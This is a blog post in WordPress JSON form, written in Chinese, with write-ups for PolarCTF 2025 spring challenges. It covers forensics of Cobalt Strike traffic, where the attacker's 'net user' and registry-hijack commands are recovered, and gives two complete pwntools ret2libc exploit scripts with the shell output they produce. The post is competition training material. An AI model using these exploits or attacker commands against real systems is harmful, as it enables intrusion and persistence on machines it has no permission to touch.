{"id":303,"date":"2025-03-23T16:00:39","date_gmt":"2025-03-23T08:00:39","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=303"},"modified":"2025-03-23T16:00:39","modified_gmt":"2025-03-23T08:00:39","slug":"polar%e9%83%a8%e5%88%86%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=303","title":{"rendered":"polar\u90e8\u5206\u590d\u73b0"},"content":{"rendered":"\n

\u3010MISC\u3011WinCS1<\/h4>\n\n\n\n

\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 1.\u53d7\u63a7\u673a\u5668\u6728\u9a6c\u7684\u56de\u8fde\u7684ip\u5730\u5740\u548c\u7aef\u53e3\u662f\uff1f\uff08flag{ip:\u7aef\u53e3}\uff09 \u9644\u4ef6\u94fe\u63a5: https:\/\/pan.baidu.com\/s\/1fMHp1Rp0GazByyLNXZPN1A?pwd=ytjk<\/a> \u9898\u76eeWinCS1~6\u5171\u7528\u4e00\u4e2a\u9644\u4ef6 \u89e3\u538b\u5bc6\u7801\uff1a111f56127c28eb148ec8d64e48c75484 ps\uff1a\u5a01\u80c1\u68c0\u6d4b\u4e0e\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u9898\u76ee\u6682\u65f6\u653eMISC\u6a21\u5757<\/em><\/p>\n\n\n\n

\u627e\u5230\u5f02\u5e38\u6d41<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u68c0\u67e5IP\u53ca\u7aef\u53e3<\/p>\n\n\n\n

\u62ff\u5230flag<\/p>\n\n\n\n

flag{61.139.2.139:80}<\/p>\n\n\n\n

\u6cd5\u4e8c\uff1a<\/p>\n\n\n\n

\u5728\u865a\u62df\u673a\u4e2d\u627e\u5230\u6076\u610f\u7a0b\u5e8f<\/p>\n\n\n\n

\u7528\u6c99\u7bb1<\/p>\n\n\n\n

\u62ff\u5230\u56de\u8fdeip\u53ca\u7aef\u53e3<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u3010MISC\u3011WinCS2<\/h4>\n\n\n\n

\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 2.\u5206\u6790\u6d41\u91cf\u4fe1\u606f\uff0c\u653b\u51fb\u8005\u5c1d\u8bd5\u4fee\u6539\u7684jhon\u8d26\u6237\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f\uff08flag{password}\uff09<\/em><\/p>\n\n\n\n

\u5bf9\u6d41\u91cf\u7ee7\u7eed\u8fdb\u884c\u5206\u6790<\/p>\n\n\n\n

\u6d41\u91cf\u540d\u79f0\u4e3acs_rush.pcapng<\/p>\n\n\n\n

\u6000\u7591\u5c31\u662f\u8003\u5bdfcs\u6d41\u91cf\u5206\u6790<\/p>\n\n\n\n

\u627e\u5230\u7591\u4f3cCS\u7279\u5f81\u6d41\u91cf<\/p>\n\n\n\n

17  4.030494406 61.139.2.145    61.139.2.139    HTTP    222 GET \/4Mht HTTP\/1.1 <\/pre>\n\n\n\n
\u7528NetA\u5206\u6790CS\u6d41\u91cf<\/p>\n\n\n\n
\u56e0\u4e3a\u662fCS\u6d41\u91cf<\/p>\n\n\n\n
\u6240\u4ee5\u8fd8\u9700\u8981\u627e\u5230\u4e00\u4e2a\u5bc6\u94a5\u6587\u4ef6<\/p>\n\n\n\n
\u5728\u6302\u8f7d\u7535\u8111\u955c\u50cf\u65f6<\/p>\n\n\n\n
\u548c\u6728\u9a6cexe\u540c\u76ee\u5f55\u4e0b\u5b58\u5728\u4e24\u5f20\u610f\u4e49\u4e0d\u660e\u7684\u660e\u65e5\u9999\u56fe\u7247<\/p>\n\n\n\n
010\u6253\u5f00\uff0c\u7ffb\u5230\u4e24\u56fe\u7247\u7684\u672b\u5c3e<\/p>\n\n\n\n
\u5728010\u7684\u5206\u5757\u6d82\u8272\u529f\u80fd\u4e0b\u6709\u5f88\u660e\u663e\u7684\u62fc\u63a5\u75d5\u8ff9<\/p>\n\n\n\n
\u53d1\u73b0\u662f\u4e00\u4e2a\u538b\u7f29\u5305\u6587\u4ef6\u88ab\u4eba\u4e3a\u5207\u65ad\u6210\u4e86\u4e24\u4efd<\/p>\n\n\n\n
\u5c06\u4e24\u4efd\u6587\u4ef6\u62fc\u63a5\u597d<\/p>\n\n\n\n
\u62ff\u5230\u5b8c\u6574\u7684\u65b0\u7684\u538b\u7f29\u5305<\/p>\n\n\n\n
\u538b\u7f29\u5305\u7684\u5185\u5bb9\u89e3\u538b\u540e\u5c31\u662f\u5bc6\u94a5\u6587\u4ef6<\/p>\n\n\n\n
\u9009\u62e9\u8fd9\u4e2a\u5bc6\u94a5\u6587\u4ef6\u7528NetA\u8fdb\u884cCS\u6d41\u91cf\u5206\u6790<\/p>\n\n\n\n
\u7136\u540e\u641c\u7d22\u5173\u952e\u8bcd<\/p>\n\n\n\n
jhon<\/p>\n\n\n\n
\u627e\u5230<\/p>\n\n\n\n
C net user jhon P@ssW0rd@123<\/p>\n\n\n\n
\u5219\u5bc6\u7801\u5c31\u662f<\/p>\n\n\n\n
P@ssW0rd@123<\/p>\n\n\n\n
\u3010MISC\u3011WinCS3<\/h4>\n\n\n\n
\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 3.\u5206\u6790\u6d41\u91cf\u5f53\u4e2d\uff0c\u653b\u51fb\u8005\u67e5\u770b\u7684\u6587\u4ef6\u4e2dflag\u5185\u5bb9\u662f\u4ec0\u4e48\uff1f<\/em><\/p>\n\n\n\n
\u4ecd\u7136\u662fNetA\u5206\u6790<\/p>\n\n\n\n
\u5173\u952e\u5b57\u641c\u7d22flag<\/p>\n\n\n\n
\u62ff\u5230<\/p>\n\n\n\n
flag{31975589df49e6ce84853be7582549f4}<\/p>\n\n\n\n
\u3010MISC\u3011WinCS4<\/h4>\n\n\n\n
\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 4.\u653b\u51fb\u8005\u5728\u653b\u51fb\u8fc7\u7a0b\u5f53\u4e2d\u4fee\u6539\u8fc7\u7684\u6ce8\u518c\u8868\u76ee\u5f55\u662f\u4ec0\u4e48\uff1f\uff08\u7ed3\u679c\u8fdb\u884cMD5\u52a0\u5bc6\uff09<\/em><\/p>\n\n\n\n
\u4ecd\u7136\u662f\u5173\u952e\u5b57\u641c\u7d22<\/p>\n\n\n\n
reg<\/p>\n\n\n\n
C reg add HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command<\/p>\n\n\n\n
\u5bf9\u540e\u9762\u90e8\u5206\u8fdb\u884cmd5\u52a0\u5bc6\u5373\u53ef<\/p>\n\n\n\n
HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command<\/p>\n\n\n\n
—>md5<\/p>\n\n\n\n
\u3010MISC\u3011WinCS5<\/h4>\n\n\n\n
\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 5.\u53d7\u63a7\u673a\u5f53\u4e2d\u52a0\u5bc6\u6587\u4ef6\u7684\u5185\u5bb9\u662f\u4ec0\u4e48\uff1f<\/em><\/p>\n\n\n\n
\u52a0\u5bc6\u6587\u4ef6\u5b9e\u4e3a\u548c\u6728\u9a6c\u6587\u4ef6\u540c\u4e00\u76ee\u5f55\u4e0b\u7684\u538b\u7f29\u5305<\/p>\n\n\n\n
\u5728flag\u5173\u952e\u8bcd\u641c\u7d22\u7684\u65c1\u8fb9<\/p>\n\n\n\n
\u6709\u4e00\u4e2a\u5f88\u8ba9\u4eba\u5728\u610f\u7684\u5730\u65b9<\/p>\n\n\n\n
[+] \u5305\u5e8f\u53f7\u30102481\u3011\u89e3\u5bc6\u7ed3\u679c\uff1aflag{31975589df49e6ce84853be7582549f4} passkey is PolarCTF@2025Spring<\/p>\n\n\n\n
passkey<\/p>\n\n\n\n
\u731c\u6d4b\u540e\u9762\u7684\u5185\u5bb9\u5c31\u662f\u538b\u7f29\u5305\u5bc6\u7801<\/p>\n\n\n\n
\u89e3\u5bc6\uff0c\u62ff\u5230\u538b\u7f29\u5305\u5185\u5bb9<\/p>\n\n\n\n
flag{fc51bd0633d256f2dcbe282efa205c3a}<\/p>\n\n\n\n
\u3010MISC\u3011WinCS6<\/h4>\n\n\n\n
\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 6.\u53d7\u63a7\u673a\u6728\u9a6c\u7684\u81ea\u542f\u52a8\u6587\u4ef6\u8def\u5f84\u662f\u4ec0\u4e48\uff1f\uff08\u7ed3\u679c\u8fdb\u884cMD5\u52a0\u5bc6\uff09<\/em><\/p>\n\n\n\n
\u5728\u6302\u8f7d\u673a\u4e0a\u627e<\/p>\n\n\n\n
\u7528\u6302\u8f7d\u673a\u7684\u8ba1\u7b97\u673a\u7ba1\u7406\u680f\u8fdb\u884c\u67e5\u627e<\/p>\n\n\n\n
\u6700\u7ec8\u627e\u5230\u4e00\u4e2a\u53ef\u7591\u9879<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8ddf\u8fdb\u8fd9\u4e2a\u76ee\u5f55<\/p>\n\n\n\n
\u5bf9\u8fd9\u4e2a\u6587\u4ef6\u901a\u8fc7\u7f16\u8f91\u7684\u65b9\u5f0f\u8fdb\u884c\u67e5\u770b\u5185\u5bb9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u542f\u52a8\u7684\u8fdb\u7a0b\u5c31\u662f\u6728\u9a6c\u6587\u4ef6<\/p>\n\n\n\n
\u5c06\u8fd9\u4e2a\u6587\u4ef6\u7684\u8def\u5f84\u901a\u8fc7md5\u52a0\u5bc6\u5373\u53ef<\/p>\n\n\n\n
\u3010MISC\u3011find<\/h4>\n\n\n\n
\u662f\u4e2axlsx\u6587\u4ef6<\/p>\n\n\n\n
\u90e8\u5206\u8868\u683c\u5b58\u5728\u52a0\u7c97<\/p>\n\n\n\n
\u90e8\u5206\u6ca1\u6709<\/p>\n\n\n\n
\u7528\u66ff\u6362\u529f\u80fd<\/p>\n\n\n\n
\u7528\u9ed1\u8272\u6807\u51fa\u52a0\u7c97\u4f4d\u7f6e<\/p>\n\n\n\n
\u7136\u540e\u4fee\u6539\u5bbd\u9ad8\u4f7f\u5f97\u56fe\u50cf\u76f4\u89c2<\/p>\n\n\n\n
\u62ff\u5230\u6700\u7ec8\u6548\u679c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u62ff\u53bb\u626b\u63cf\u62ff\u5230flag<\/p>\n\n\n\n
flag{11be65d59abc1b45ad8b9cc1e695a016}<\/p>\n\n\n\n
\u3010MISC\u3011\u53ef\u8001\u5e08\u7b7e\u5230<\/h4>\n\n\n\n
\u4e0b\u8f7d\u9644\u4ef6\uff0c\u662f\u4e2a\u89c6\u89c9\u5c0f\u8bf4\u7c7b\u578b\u7684\u6e38\u620f\u6837\u5f0f\u7684\u9644\u4ef6<\/p>\n\n\n\n
\u7ed3\u679c\u662f\u516c\u4f17\u53f7\u7b7e\u5230<\/p>\n\n\n\n
\u8f93\u5165flagflag\u62ff\u5230flag<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u3010PWN\u3011libc<\/h4>\n\n\n\n
\u677f\u5b50\u9898\uff0c\u586b\u677f\u5b50<\/p>\n\n\n\n
from pwn import *
from LibcSearcher import *
\u200b
io = remote('1.95.36.136', 2137)
# io = process(\".\/pwn\")
elf = ELF('.\/polar_pwn1')
# libc= ELF(elf.libc.path)
\u200b
main_add = 0x08048591
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
print(\"Puts_got: \", hex(puts_got))
print(\"Puts_plt: \", hex(puts_plt))
\u200b
offset = 0x3A
\u200b
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendafter(b'like', payload1)
puts_addr = u32(io.recvuntil(b'\\xf7')[-4:])
print(\"Puts_addr: \", hex(puts_addr))
\u200b
libc = LibcSearcher('puts', puts_addr)  # libc6-i386_2.27-3ubuntu1_amd64
\u200b
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
\u200b
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))
\u200b
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
\u200b
io.sendafter(b'like', payload2)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
\u3010PWN\u3011koi<\/h4>\n\n\n\n
64\u4f4d<\/p>\n\n\n\n
main\u51fd\u6570\u5206\u6790<\/p>\n\n\n\n
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; \/\/ [rsp+5Ch] [rbp-4h] BYREF
\u200b
  init(argc, argv, envp);
  v4 = 0;
  printf(\"choose your challenge\\n:\");
  puts(\"1.write shell\");
  puts(\"2.use shell\");
  puts(\"3.exif\");
  __isoc99_scanf(\"%d\", &v4);
  switch ( v4 )
  {
    case 1:
      wrshell();
      break;
    case 2:
      usshell();
      break;
    case 3:
      exif();
      break;
  }
  puts(\"Enter a:\");
  __isoc99_scanf(\"%d\", &v4);
  if ( v4 == 520 && n == 520 )
  {
    puts(\"GOOD\");
    xxx();
  }
  else
  {
    puts(\"Bless you\");
  }
  return 0;
}<\/pre>\n\n\n\n
\u8fd9\u91cc\u8981\u5148\u8fdb\u884c\u9009\u62e9<\/p>\n\n\n\n
\u5148\u8fdb\u5165\u5230wrshell\u51fd\u6570\u770b\u770b<\/p>\n\n\n\n
int wrshell()
{
  int v1; \/\/ [rsp+8h] [rbp-58h] BYREF
  int v2; \/\/ [rsp+Ch] [rbp-54h] BYREF
  _BYTE buf[80]; \/\/ [rsp+10h] [rbp-50h] BYREF
\u200b
  v2 = 0;
  v1 = 0;
  puts(\"Enter number:\");
  __isoc99_scanf(\"%d\", &v1);
  printf(\"size:\");
  __isoc99_scanf(\"%d\", &v2);
  puts(\"Enter sehll:\");
  read(0, buf, 0x58uLL);
  return puts(\"success\");
}<\/code><\/pre>\n\n\n\n
wrshell\u51fd\u6570\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n
\u4f46\u662f\u8fd9\u91ccbuf\u5230\u6808\u5e95\u7684\u4f4d\u7f6e\u53c8\u5230\u4e0d\u4e86read<\/p>\n\n\n\n
\u4e00\u4e2a0x50\u4e00\u4e2a0x58\uff0c\u4e0d\u591f\u7684<\/p>\n\n\n\n
\u518d\u4f9d\u6b21\u7ee7\u7eed\u770b\u5176\u4ed6\u9009\u9879\u5bf9\u5e94\u7684\u51fd\u6570<\/p>\n\n\n\n
\u53d1\u73b0\u90fd\u6ca1\u4ec0\u4e48\u95ee\u9898<\/p>\n\n\n\n
\u7ee7\u7eed\u5206\u6790main\u51fd\u6570<\/p>\n\n\n\n
if ( v4 == 520 && n == 520 )<\/code><\/pre>\n\n\n\n
\u8fd9\u4e2a\u5224\u65ad\u8bed\u53e5\u5224\u65ad\u4e3a\u771f\u65f6\uff0c\u4f1a\u8fdb\u5165\u5230xxx\u51fd\u6570<\/p>\n\n\n\n
\u8ddf\u8fdbxxx\u51fd\u6570<\/p>\n\n\n\n
ssize_t xxx()
{
  _BYTE buf[80]; \/\/ [rsp+0h] [rbp-50h] BYREF
\u200b
  puts(\"Welcome to Polar CTF!\\n\");
  return read(0, buf, 0x150uLL);
}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u540c\u6837\u5b58\u5728\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n
.text:00000000004007DA var_4           = dword ptr -4
.text:00000000004007DA
.text:00000000004007DA ; __unwind {
.text:00000000004007DA                 push    rbp
.text:00000000004007DB                 mov     rbp, rsp
.text:00000000004007DE                 sub     rsp, 60h
.text:00000000004007E2                 mov     eax, 0
.text:00000000004007E7                 call    init
.text:00000000004007EC                 mov     [rbp+var_4], 0
.text:00000000004007F3                 mov     edi, offset format ; \"choose your challenge\\n:\"
.text:00000000004007F8                 mov     eax, 0
.text:00000000004007FD                 call    _printf
.text:0000000000400802                 mov     edi, offset s   ; \"1.write shell\"
.text:0000000000400807                 call    _puts
.text:000000000040080C                 mov     edi, offset a2UseShell ; \"2.use shell\"
.text:0000000000400811                 call    _puts
.text:0000000000400816                 mov     edi, offset a3Exif ; \"3.exif\"
.text:000000000040081B                 call    _puts
.text:0000000000400820                 lea     rax, [rbp+var_4]
.text:0000000000400824                 mov     rsi, rax
.text:0000000000400827                 mov     edi, offset aD  ; \"%d\"
.text:000000000040082C                 mov     eax, 0
.text:0000000000400831                 call    ___isoc99_scanf
.text:0000000000400836                 mov     eax, [rbp+var_4]
.text:0000000000400839                 cmp     eax, 1
.text:000000000040083C                 jnz     short loc_40084A
.text:000000000040083E                 mov     eax, 0
.text:0000000000400843                 call    wrshell
.text:0000000000400848                 jmp     short loc_400870<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230.text:0000000000400820 lea rax, [rbp+var_4]\u8fd9\u4e00\u884c<\/p>\n\n\n\n
\u800cvar_4\u672c\u8eabvar_4 = dword ptr -4<\/p>\n\n\n\n
\u5c31\u662f\u5730\u5740\u51cf\u53bb\u4e00\u4e2a0x4<\/p>\n\n\n\n
scanf\u51fd\u6570\u5b58\u5728\u4e00\u4e2a\u504f\u79fb\u7684\u95ee\u9898<\/p>\n\n\n\n
\u800c\u540e\u9762 mov eax, [rbp+var_4]<\/p>\n\n\n\n
\u6240\u4ee5\u9700\u8981\u5c06\u8fd9\u4e2a0x4\u8865\u9f50\u4ee5\u4fdd\u8bc1\u540e\u7eed\u8f93\u5165n\u7684\u5730\u5740\u65e0\u8bef\uff0c\u4e5f\u5c31\u641e\u5b9a\u4e86\u8fd9\u4e2a\u504f\u79fb\u7684\u95ee\u9898<\/p>\n\n\n\n
\u8981\u505a\u7684\u5c31\u662f\u628arbp\u7684\u5730\u5740\u8986\u76d6\u6210n\u7684\u5730\u5740<\/p>\n\n\n\n
\u4e4b\u540e\u4f20\u5165n\u7684\u503c\uff1a520\uff0c\u7136\u540e\u4ee4\u5176\u6267\u884cret2libc\u5373\u53ef<\/p>\n\n\n\n
\u8fd9\u90e8\u5206\u64cd\u4f5c\u7684\u4e3b\u4f53\u5185\u5bb9\u5c31\u662f<\/p>\n\n\n\n
io.sendline(b'1')   #\u83dc\u5355\u9009\u62e9
io.recv()
\u200b
io.sendline(b'1')   #wrshell\u51fd\u6570\u7b2c\u4e00\u6b21\u8f93\u5165\u53c2\u6570
io.recv()
\u200b
io.sendline(b'1')   #wrshell\u51fd\u6570\u7b2c\u4e8c\u6b21\u8f93\u5165\u53c2\u6570
io.recv()
\u200b
\u200b
n_addr = 0x60108c   #\u53cc\u51fbn\u8ddf\u8fdb\u627e\u5230n\u53c2\u6570\u7684\u5730\u5740
payload = b'a'*(0x50) + p64(n_addr+0x4)    #\u8865\u9f500x4\uff0c\u786e\u4fddn\u5730\u5740\u6b63\u786e
io.sendline(payload)
io.recv()
\u200b
io.sendline(b'520')  #\u901a\u8fc7\u5224\u65ad\u8bed\u53e5
io.recv()<\/code><\/pre>\n\n\n\n
\u5947\u602a\u7684\u70b9\u5728\u4e8e\u60f3\u7528libcsearcher\u6765\u627e\u5bf9\u5e94\u7684libc\u7248\u672c<\/p>\n\n\n\n
\u4f46\u662f\u6ca1\u627e\u5230<\/p>\n\n\n\n
\u6362\u7528\u7f51\u7ad9\u624b\u52a8\u8865\u9f50\u76f8\u5173\u51fd\u6570\u5bf9\u5e94\u5730\u5740<\/p>\n\n\n\n
exp\uff1a<\/p>\n\n\n\n
from pwn import *
\u200b
\u200b
io = remote('1.95.36.136',2146)
# io=process(\".\/pwn\")
elf = ELF('.\/polar_pwn')
# libc= ELF(elf.libc.path)
\u200b
io.sendline(b'1')
io.recv()
\u200b
io.sendline(b'1')
io.recv()
\u200b
io.sendline(b'1')
io.recv()
\u200b
\u200b
n_addr = 0x60108c
payload = b'a'*(0x50) + p64(n_addr+0x4)
io.sendline(payload)
io.recv()
\u200b
io.sendline(b'520')
io.recv()
\u200b
ret_add =0x00000000004005d9
pop_rdi =0x0000000000400a63
xxx_add =0x00000000004009CE
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
print(\"Puts_got: \",hex(puts_got))
print(\"Puts_plt: \",hex(puts_plt))
\u200b
offset=0x50
\u200b
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(xxx_add)
io.sendlineafter(b'Welcome to Polar CTF!', payload1)
puts_addr = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
print(\"Puts_addr: \",hex(puts_addr))
\u200b
\u200b
\u200b
libc_base = puts_addr - 0x06f6a0
system_add = libc_base + 0x0453a0
bin_sh_add = libc_base + 0x18ce57
\u200b
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))
\u200b
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
\u200b
io.sendlineafter(b'Welcome to Polar CTF!', payload2)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
\u603b\u4f53\u5c31\u662f\u4e00\u4e2a\u6808\u8fc1\u79fb\u52a0\u4e00\u4e2aret2libc<\/p>\n\n\n\n
D:\\python\\pythonProject\\.venv\\Scripts\\python.exe D:\\python\\pythonProject\\polar_pwn_libc64+\u6808\u8fc1\u79fb.py 
[x] Opening connection to 1.95.36.136 on port 2146
[x] Opening connection to 1.95.36.136 on port 2146: Trying 1.95.36.136
[+] Opening connection to 1.95.36.136 on port 2146: Done
[*] 'D:\\\\python\\\\pythonProject\\\\polar_pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
Puts_got:  0x601018
Puts_plt:  0x4005f0
Puts_addr:  0x7fc589e1d6a0
[*] Switching to interactive mode
\u200b
cat flag
flag{e6d6aa72-59ef-42bd-a92b-ac3310081800}<\/code><\/pre>\n\n\n\n
\u603b\u4f53\u4ea4\u4e92\u7ed3\u679c\u66f4\u7b80\u6d01<\/p>\n\n\n\n
\u4e5f\u8868\u660e\u5f88\u591a\u60c5\u51b5\u4e0blibc\u5e93\u6709\u6982\u7387\u6ca1\u6709\uff0c\u7f51\u7ad9\u597d\u7528\u5f97\u4e00<\/p>\n\n\n\n
libc database search<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u3010MISC\u3011WinCS1 \u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 1.\u53d7\u63a7\u673a\u5668\u6728\u9a6c\u7684\u56de\u8fde\u7684ip\u5730\u5740\u548c\u7aef\u53e3\u662f\uff1f\uff08flag{i […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-303","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/303","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=303"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/303\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=303"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=303"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=303"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}